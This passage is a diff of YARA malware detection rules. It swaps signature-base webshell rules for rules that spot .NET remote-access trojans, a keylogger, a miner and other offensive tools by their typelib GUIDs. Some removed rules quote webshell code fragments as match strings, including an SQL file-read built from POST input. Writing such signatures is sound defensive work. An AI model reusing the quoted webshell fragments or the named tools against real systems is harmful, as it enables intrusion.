+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Installer
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Porttran : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file installer.cmd"
-		author = "Florian Roth (Nextron Systems)"
-		id = "681d8284-55e5-5316-a0d2-f4f13218df76"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7849-L7861"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a507919ae701cf7e42fa441d3ad95f8f"
-		logic_hash = "73c1032313155ceb752fe2f94c8d242833127fe0443d7e3044fa1de2b2b7742b"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "844e58a2-54f5-51e8-8176-6a478a136603"
+		date = "2020-12-29"
+		modified = "2023-04-06"
+		reference = "https://github.com/k8gege/PortTran"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4314-L4330"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9dda69710b7ff29e34181d694a4922f0da27e1959dd72031ac630a4851a48c62"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Restore Old Vanquish"
-		$s4 = "ReInstall Vanquish"
+		$typelibguid0lo = "3a074374-77e8-4312-8746-37f3cb00e82c" ascii wide
+		$typelibguid0up = "3A074374-77E8-4312-8746-37F3CB00E82C" ascii wide
+		$typelibguid1lo = "67a73bac-f59d-4227-9220-e20a2ef42782" ascii wide
+		$typelibguid1up = "67A73BAC-F59D-4227-9220-E20A2EF42782" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Remview_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Gray_Keylogger_2 : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file remview.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8e0492e8-d683-5c2d-b1ce-6c8344b874af"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7862-L7874"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b4a09911a5b23e00b55abe546ded691c"
-		logic_hash = "0a682431f7044e9a49c8dd4842a22c521e2a07d5df045b0a12449e3b3206716b"
+		description = "Detects VB.NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "40ab8103-9151-5a5c-8b70-ab3bfd3896f9"
+		date = "2020-12-30"
+		modified = "2023-04-06"
+		reference = "https://github.com/graysuit/gray-keylogger-2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4333-L4349"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eb7cbfcc7d57298d3ce325596834e94f3594bafb0273e9f81715114b21af6371"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<xmp>$out</"
-		$s1 = ".mm(\"Eval PHP code\")."
+		$typelibguid0lo = "e94ca3ff-c0e5-4d1a-ad5e-f6ebbe365067" ascii wide
+		$typelibguid0up = "E94CA3FF-C0E5-4D1A-AD5E-F6EBBE365067" ascii wide
+		$typelibguid1lo = "1ed07564-b411-4626-88e5-e1cd8ecd860a" ascii wide
+		$typelibguid1up = "1ED07564-B411-4626-88E5-E1CD8ECD860A" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Felikspack3___PHP_Shells_R57
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Lime_Miner : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file r57.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "14092413-27a4-5b7d-9023-0b53b3d45a12"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7875-L7886"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "903908b77a266b855262cdbce81c3f72"
-		logic_hash = "8d0f3b2009594d4aa413c4794dca12e3c66a19974cc6d0b47cc3f5e2572a4c57"
+		description = "Detects VB.NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d0631817-10a2-55bf-a41d-226fa0dcb9f9"
+		date = "2020-12-30"
+		modified = "2023-04-06"
+		reference = "https://github.com/NYAN-x-CAT/Lime-Miner"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4351-L4365"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "57d75144415518c24e2a24fa933e9e205513e16c2ec062b2a3c715a0fa6415db"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "$sql = \"LOAD DATA INFILE \\\"\".$_POST['test3_file']."
+		$typelibguid0lo = "13958fb9-dfc1-4e2c-8a8d-a5e68abdbc66" ascii wide
+		$typelibguid0up = "13958FB9-DFC1-4E2C-8A8D-A5E68ABDBC66" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hytop2006_Rar_Folder_2006X
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Blacknet : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file 2006X.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7887-L7899"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cf3ee0d869dd36e775dfcaa788db8e4b"
-		logic_hash = "b71cf90900c7eae4caef57564292ca497a2c6c77e3de2994ba9e4cecae7f2697"
+		description = "Detects VB.NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "9fbb3c11-7b11-5910-9c8b-247aeefbaa87"
+		date = "2020-12-30"
+		modified = "2023-04-06"
+		reference = "https://github.com/BlackHacker511/BlackNET"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4367-L4387"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a64b8d7d73292675e86ff73a0548582af36a6ed3c37fec52a3d2e012c49b9aa8"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<input name=\"password\" type=\"password\" id=\"password\""
-		$s6 = "name=\"theAction\" type=\"text\" id=\"theAction\""
+		$typelibguid0lo = "c2b90883-abee-4cfa-af66-dfd93ec617a5" ascii wide
+		$typelibguid0up = "C2B90883-ABEE-4CFA-AF66-DFD93EC617A5" ascii wide
+		$typelibguid1lo = "8bb6f5b4-e7c7-4554-afd1-48f368774837" ascii wide
+		$typelibguid1up = "8BB6F5B4-E7C7-4554-AFD1-48F368774837" ascii wide
+		$typelibguid2lo = "983ae28c-91c3-4072-8cdf-698b2ff7a967" ascii wide
+		$typelibguid2up = "983AE28C-91C3-4072-8CDF-698B2FF7A967" ascii wide
+		$typelibguid3lo = "9ac18cdc-3711-4719-9cfb-5b5f2d51fd5a" ascii wide
+		$typelibguid3up = "9AC18CDC-3711-4719-9CFB-5B5F2D51FD5A" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Phvayv_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Plasmarat : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file phvayv.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8bd52f9b-a232-566d-90ab-4085933cdc65"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7900-L7911"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "205ecda66c443083403efb1e5c7f7878"
-		logic_hash = "11418a11692412ccb309983bdadd9bda2b27b692c3282eb0386094e76c7ba1e0"
+		description = "Detects VB.NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "13362cba-f9b2-50c8-95cc-504e585bdd42"
+		date = "2020-12-30"
+		modified = "2023-04-06"
+		reference = "https://github.com/mwsrc/PlasmaRAT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4389-L4405"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4474f0c9d76a6ec1dd754b0b9ba0bcedce3f82148ecddcdcc4d040220c407788"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "rows=\"24\" cols=\"122\" wrap=\"OFF\">XXXX</textarea></font><font"
+		$typelibguid0lo = "b8a2147c-074c-46e1-bb99-c8431a6546ce" ascii wide
+		$typelibguid0up = "B8A2147C-074C-46E1-BB99-C8431A6546CE" ascii wide
+		$typelibguid1lo = "0fcfde33-213f-4fb6-ac15-efb20393d4f3" ascii wide
+		$typelibguid1up = "0FCFDE33-213F-4FB6-AC15-EFB20393D4F3" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Elmaliseker
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Lime_RAT : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file elmaliseker.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7ecf3d5c-be91-579e-905b-5f2ad03a0e42"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7912-L7924"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ccf48af0c8c09bbd038e610a49c9862e"
-		logic_hash = "54c0b8e74a9b10fe54901c0595600af1dfc54abd3f710fc20ca87ca92236bb49"
+		description = "Detects VB.NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "31a0e9ca-9da1-557a-bcc5-1351fa90a0e1"
+		date = "2020-12-30"
+		modified = "2023-04-06"
+		reference = "https://github.com/NYAN-x-CAT/Lime-RAT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4407-L4461"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dfe208c2962c03c14ff21f5936f476ee75ebd5f1464d26e5da0e66d6e995716d"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 60
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "javascript:Command('Download'"
-		$s5 = "zombie_array=array("
+		$typelibguid0lo = "e58ac447-ab07-402a-9c96-95e284a76a8d" ascii wide
+		$typelibguid0up = "E58AC447-AB07-402A-9C96-95E284A76A8D" ascii wide
+		$typelibguid1lo = "8fb35dab-73cd-4163-8868-c4dbcbdf0c17" ascii wide
+		$typelibguid1up = "8FB35DAB-73CD-4163-8868-C4DBCBDF0C17" ascii wide
+		$typelibguid2lo = "37845f5b-35fe-4dce-bbec-2d07c7904fb0" ascii wide
+		$typelibguid2up = "37845F5B-35FE-4DCE-BBEC-2D07C7904FB0" ascii wide
+		$typelibguid3lo = "83c453cf-0d29-4690-b9dc-567f20e63894" ascii wide
+		$typelibguid3up = "83C453CF-0D29-4690-B9DC-567F20E63894" ascii wide
+		$typelibguid4lo = "8b1f0a69-a930-42e3-9c13-7de0d04a4add" ascii wide
+		$typelibguid4up = "8B1F0A69-A930-42E3-9C13-7DE0D04A4ADD" ascii wide
+		$typelibguid5lo = "eaaeccf6-75d2-4616-b045-36eea09c8b28" ascii wide
+		$typelibguid5up = "EAAECCF6-75D2-4616-B045-36EEA09C8B28" ascii wide
+		$typelibguid6lo = "5b2ec674-0aa4-4209-94df-b6c995ad59c4" ascii wide
+		$typelibguid6up = "5B2EC674-0AA4-4209-94DF-B6C995AD59C4" ascii wide
+		$typelibguid7lo = "e2cc7158-aee6-4463-95bf-fb5295e9e37a" ascii wide
+		$typelibguid7up = "E2CC7158-AEE6-4463-95BF-FB5295E9E37A" ascii wide
+		$typelibguid8lo = "d04ecf62-6da9-4308-804a-e789baa5cc38" ascii wide
+		$typelibguid8up = "D04ECF62-6DA9-4308-804A-E789BAA5CC38" ascii wide
+		$typelibguid9lo = "8026261f-ac68-4ccf-97b2-3b55b7d6684d" ascii wide
+		$typelibguid9up = "8026261F-AC68-4CCF-97B2-3B55B7D6684D" ascii wide
+		$typelibguid10lo = "212cdfac-51f1-4045-a5c0-6e638f89fce0" ascii wide
+		$typelibguid10up = "212CDFAC-51F1-4045-A5C0-6E638F89FCE0" ascii wide
+		$typelibguid11lo = "c1b608bb-7aed-488d-aa3b-0c96625d26c0" ascii wide
+		$typelibguid11up = "C1B608BB-7AED-488D-AA3B-0C96625D26C0" ascii wide
+		$typelibguid12lo = "4c84e7ec-f197-4321-8862-d5d18783e2fe" ascii wide
+		$typelibguid12up = "4C84E7EC-F197-4321-8862-D5D18783E2FE" ascii wide
+		$typelibguid13lo = "3fc17adb-67d4-4a8d-8770-ecfd815f73ee" ascii wide
+		$typelibguid13up = "3FC17ADB-67D4-4A8D-8770-ECFD815F73EE" ascii wide
+		$typelibguid14lo = "f1ab854b-6282-4bdf-8b8b-f2911a008948" ascii wide
+		$typelibguid14up = "F1AB854B-6282-4BDF-8B8B-F2911A008948" ascii wide
+		$typelibguid15lo = "aef6547e-3822-4f96-9708-bcf008129b2b" ascii wide
+		$typelibguid15up = "AEF6547E-3822-4F96-9708-BCF008129B2B" ascii wide
+		$typelibguid16lo = "a336f517-bca9-465f-8ff8-2756cfd0cad9" ascii wide
+		$typelibguid16up = "A336F517-BCA9-465F-8FF8-2756CFD0CAD9" ascii wide
+		$typelibguid17lo = "5de018bd-941d-4a5d-bed5-fbdd111aba76" ascii wide
+		$typelibguid17up = "5DE018BD-941D-4A5D-BED5-FBDD111ABA76" ascii wide
+		$typelibguid18lo = "bbfac1f9-cd4f-4c44-af94-1130168494d0" ascii wide
+		$typelibguid18up = "BBFAC1F9-CD4F-4C44-AF94-1130168494D0" ascii wide
+		$typelibguid19lo = "1c79cea1-ebf3-494c-90a8-51691df41b86" ascii wide
+		$typelibguid19up = "1C79CEA1-EBF3-494C-90A8-51691DF41B86" ascii wide
+		$typelibguid20lo = "927104e1-aa17-4167-817c-7673fe26d46e" ascii wide
+		$typelibguid20up = "927104E1-AA17-4167-817C-7673FE26D46E" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Shelltools_G0T_Root_Resolve
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Njrat : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file resolve.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dcdb9952-63fc-57a7-ae17-ffe8ac4271f1"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7925-L7942"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "69bf9aa296238610a0e05f99b5540297"
-		logic_hash = "39d8ac274e94f13b5eb197be5827a95ac09df70793bd584c96b81983a565c1ce"
+		description = "Detects VB.NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "2140d69e-fb15-50a2-ba85-b7c8293003fb"
+		date = "2020-12-30"
+		modified = "2023-04-06"
+		reference = "https://github.com/mwsrc/njRAT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4463-L4487"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "739914bf21b1ac198e904b50986e28a50e53044696dafa777149f18f024beb5e"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "3^n6B(Ed3"
-		$s1 = "^uldn'Vt(x"
-		$s2 = "\\= uPKfp"
-		$s3 = "'r.axV<ad"
-		$s4 = "p,modoi$=sr("
-		$s5 = "DiamondC8S t"
-		$s6 = "`lQ9fX<ZvJW"
+		$typelibguid0lo = "5a542c1b-2d36-4c31-b039-26a88d3967da" ascii wide
+		$typelibguid0up = "5A542C1B-2D36-4C31-B039-26A88D3967DA" ascii wide
+		$typelibguid1lo = "6b07082a-9256-42c3-999a-665e9de49f33" ascii wide
+		$typelibguid1up = "6B07082A-9256-42C3-999A-665E9DE49F33" ascii wide
+		$typelibguid2lo = "c0a9a70f-63e8-42ca-965d-73a1bc903e62" ascii wide
+		$typelibguid2up = "C0A9A70F-63E8-42CA-965D-73A1BC903E62" ascii wide
+		$typelibguid3lo = "70bd11de-7da1-4a89-b459-8daacc930c20" ascii wide
+		$typelibguid3up = "70BD11DE-7DA1-4A89-B459-8DAACC930C20" ascii wide
+		$typelibguid4lo = "fc790ee5-163a-40f9-a1e2-9863c290ff8b" ascii wide
+		$typelibguid4up = "FC790EE5-163A-40F9-A1E2-9863C290FF8B" ascii wide
+		$typelibguid5lo = "cb3c28b2-2a4f-4114-941c-ce929fec94d3" ascii wide
+		$typelibguid5up = "CB3C28B2-2A4F-4114-941C-CE929FEC94D3" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Remexp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Manager : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file RemExp.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "48a262bf-7f48-5ed9-b043-80e9d563bf21"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7943-L7956"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b69670ecdbb40012c73686cd22696eeb"
-		logic_hash = "b9b966a89ab097494d7af90775bf124f1310c77145be67fa57ebdacd0164e3d0"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "eef65d2c-ddbc-50c3-a6a0-e7032a55e92d"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/TheWover/Manager"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4489-L4505"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cb6ef79b7430f0d7892c8c2819bc0d6f9493e0c74ca475b9f82b28a6b565dfb8"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=SubFolder.Name%>\"> <a href= \"<%=Request.Ser"
-		$s5 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f=<%=F"
-		$s6 = "<td bgcolor=\"<%=BgColor%>\" align=\"right\"><%=Attributes(SubFolder.Attributes)%></"
+		$typelibguid0lo = "dda73ee9-0f41-4c09-9cad-8215abd60b33" ascii wide
+		$typelibguid0up = "DDA73EE9-0F41-4C09-9CAD-8215ABD60B33" ascii wide
+		$typelibguid1lo = "6a0f2422-d4d1-4b7e-84ad-56dc0fd2dfc5" ascii wide
+		$typelibguid1up = "6A0F2422-D4D1-4B7E-84AD-56DC0FD2DFC5" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Tool
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Neo_Confuserex : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file tool.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ed744aa4-7a35-57d6-89bd-3286a21b50a0"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7957-L7968"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3a1e1e889fdd974a130a6a767b42655b"
-		logic_hash = "a3449aca3124aa4d920d78e5e674ddd9d8a181b0ce0143032352a69dfdbcad2d"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d73117a6-4512-5545-a4f4-72d8cf708340"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/XenocodeRCE/neo-ConfuserEx"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4507-L4521"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2394b2a7098b284b18bf9fcda6ca26b34ae0143f8bd146578cc9c2d68df0741c"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s7 = "\"\"%windir%\\\\calc.exe\"\")"
+		$typelibguid0lo = "e98490bb-63e5-492d-b14e-304de928f81a" ascii wide
+		$typelibguid0up = "E98490BB-63E5-492D-B14E-304DE928F81A" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Felikspack3___PHP_Shells_2005
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpallowedtoact : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file 2005.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "91d278d5-e9ec-5a28-9a54-4549b4f0cd07"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7969-L7981"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "97f2552c2fafc0b2eb467ee29cc803c8"
-		logic_hash = "4d04174b23c9057acf2618c01cd702eaaec2d3508a8c25dd87fdd320c076a3b1"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "13b7f5e0-4d34-533d-a182-b3fe7c93ca43"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/pkb1s/SharpAllowedToAct"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4523-L4537"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "872f4d70f7cefff8c1fadbe61d858c898a259559889ca4951f5368589d28169d"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "window.open(\"\"&url&\"?id=edit&path=\"+sfile+\"&op=copy&attrib=\"+attrib+\"&dpath=\"+lp"
-		$s3 = "<input name=\"dbname\" type=\"hidden\" id=\"dbname\" value=\"<%=request(\"dbname\")%>\">"
+		$typelibguid0lo = "dac5448a-4ad1-490a-846a-18e4e3e0cf9a" ascii wide
+		$typelibguid0up = "DAC5448A-4AD1-490A-846A-18E4E3E0CF9A" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Byloader
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Supersqlinjectionv1 : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file byloader.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "24940e4b-06eb-548d-9e14-1a8f9c864bd3"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L7982-L7997"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0f0d6dc26055653f5844ded906ce52df"
-		logic_hash = "66c900e4bc771fb23d7623e57ad51edaa95696c2e31554720582f3e33a1b2e25"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "247bef0d-7873-51c7-97b8-1be6dfe7708d"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/shack2/SuperSQLInjectionV1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4539-L4553"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8e97bf351c4c7507f3cf40a2d7aa36c60906a8069bb3644ce6ef05911a4d9a5c"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
